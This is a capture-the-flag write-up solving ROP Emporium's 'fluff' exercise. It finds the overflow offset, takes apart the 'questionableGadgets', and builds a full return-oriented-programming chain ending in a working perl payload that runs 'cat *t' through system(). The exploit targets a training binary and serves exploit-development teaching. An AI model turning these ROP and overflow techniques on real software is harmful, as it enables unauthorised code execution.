This challenge uses a similar pwnme function to other ROP Emporium challenges.

$ perl -e 'print(("\x00" x 0x28) . "fedcba")' |
  gdb ./fluff --batch -ex run
fluff by ROP Emporium

You know changing these strings means I have to rewrite my solutions...
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()

Looking at the symbols we don’t have usefulGadgets this time.

$ r2 ./fluff -qc "is" | grep useful
039 0x00000807 0x00400807  LOCAL   FUNC   17 usefulFunction

$ r2 ./fluff -qc "aa ; pdf @sym.usefulFunction"
/ (fcn) sym.usefulFunction 17
|   sym.usefulFunction ();
|           0x00400807      55             push rbp
|           0x00400808      4889e5         mov rbp, rsp
|           0x0040080b      bf5b094000     mov edi, str.bin_ls
|           0x00400810      e8cbfdffff     call sym.imp.system
|           0x00400815      90             nop
|           0x00400816      5d             pop rbp
\           0x00400817      c3             ret

But there are some questionableGadgets which appear to be useful gadgets mixed with less useful instructions.

$ r2 ./fluff -qc "is" | grep -i gadget
067 0x00000820 0x00400820 GLOBAL NOTYPE    0 questionableGadgets

$ r2 ./fluff -qc "pd 21 @ 0x00400820"
            ;-- questionableGadgets:
            0x00400820      pop r15
            0x00400822      xor r11, r11
            0x00400825      pop r14
            0x00400827      mov edi, loc.data_start     ; loc.__data_start
                                                        ; 0x601050
            0x0040082c      ret
            0x0040082d      pop r14
            0x0040082f      xor r11, r12
            0x00400832      pop r12
            0x00400834      mov r13d, 0x604060          ; '`@`'
            0x0040083a      ret
            0x0040083b      mov edi, loc.data_start     ; loc.__data_start
                                                        ; 0x601050
            0x00400840      xchg r11, r10
            0x00400843      pop r15
            0x00400845      mov r11d, 0x602050          ; 'P `'
            0x0040084b      ret
            0x0040084c      pop r15
            0x0040084e      mov qword [r10], r11
            0x00400851      pop r13
            0x00400853      pop r12
            0x00400855      xor byte [r10], r12b
            0x00400858      ret

Building a working exploit from these pieces is a little convoluted.

Working backwards, our last 2 gadgets need to be:

mov edi, 0x601050

Next we need to get our exploit string into 0x601050. There are 2 gadgets for writing registers to memory:

mov qword [r10], r11
xor byte [r10], r12b

We’ll go for the mov because it is moving 8 bytes at once whereas the xor gadget is only copying a single byte. To make it work we need [1] 0x601050 in r10 and [2] our exploit string in r11.

For [1] there are no gadgets to mov 0x601050 into a general purpose register but we can copy a close number (0x602050) and then xor by 0x3000 to turn the 0x2050 part into 0x1050.

mov r11d, 0x602050
pop r12 ...
xor r11, r12
xchg r11, r10

For [2] we first need to come up with an exploit string. Keeping it under 8 bytes will save us from duplicating parts of the rop chain. So instead of "/bin/cat flag.txt" we can abuse shell globbing and knowledge that only two files exist in the bin/ directory, "fluff" and "flag.txt" (run the exploit with ls first if you think that “knowing” the directory layout is too close to cheating). With that in mind we can exploit shell globbing to capture only the flag file with less than 8 bytes "cat *t".

pop r12 ...
0x0000742a20746163 ("cat *t")
xor r11, r11 (0x00 => r11)
xor r11, r12 (r12 => r11)

Now finally we can do the mov qword to get our exploit string into the right memory address.

mov qword [r10], r11

Interleaving the various gadgets so they don’t clobber each other is another mini challenge. The final rop chain I came up with looks like this:

0x0000000000400845 # mov r11d, 0x602050
0x0000000000400832 # pop r12 ; mov r13d, 0x604060
0x0000000000003000 #
0x000000000040082f # xor r11, r12 ; pop r12 ; mov r13d, 0x604060
0x0000742a20746163 # "cat *t" => r12
0x0000000000400840 # xchg r11, r10 ; pop r15 ; mov r11d, 0x602050
0x0000000000000000 # => r15
0x0000000000400822 # xor r11, r11 ; pop r14 ; mov edi, 0x601050
0x0000000000000000 # => r14
0x000000000040082f # xor r11, r12 ; pop r12 ; mov r13d, 0x604060
0x0000000000000000 # => r12
0x000000000040084e # mov qword [r10], r11 ; pop r13 ; pop r12 ; xor byte [r10], r12b
0x0000000000000000 # => r13
0x0000000000000000 # => r12
0x0000000000400810 # => system()

See the earlier split challenge for code to convert addresses to the form below.

perl -e 'print(("\x00" x 0x28) .
               "\x45\x08\x40\x00\x00\x00\x00\x00" .
               "\x32\x08\x40\x00\x00\x00\x00\x00" .
               "\x00\x30\x00\x00\x00\x00\x00\x00" .
               "\x2f\x08\x40\x00\x00\x00\x00\x00" .
               "\x63\x61\x74\x20\x2a\x74\x00\x00" .
               "\x40\x08\x40\x00\x00\x00\x00\x00" .
               "\x00\x00\x00\x00\x00\x00\x00\x00" .
               "\x22\x08\x40\x00\x00\x00\x00\x00" .
               "\x00\x00\x00\x00\x00\x00\x00\x00" .
               "\x2f\x08\x40\x00\x00\x00\x00\x00" .
               "\x00\x00\x00\x00\x00\x00\x00\x00" .
               "\x4e\x08\x40\x00\x00\x00\x00\x00" .
               "\x00\x00\x00\x00\x00\x00\x00\x00" .
               "\x00\x00\x00\x00\x00\x00\x00\x00" .
               "\x10\x08\x40\x00\x00\x00\x00\x00")' | ./fluff
fluff by ROP Emporium

You know changing these strings means I have to rewrite my solutions...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault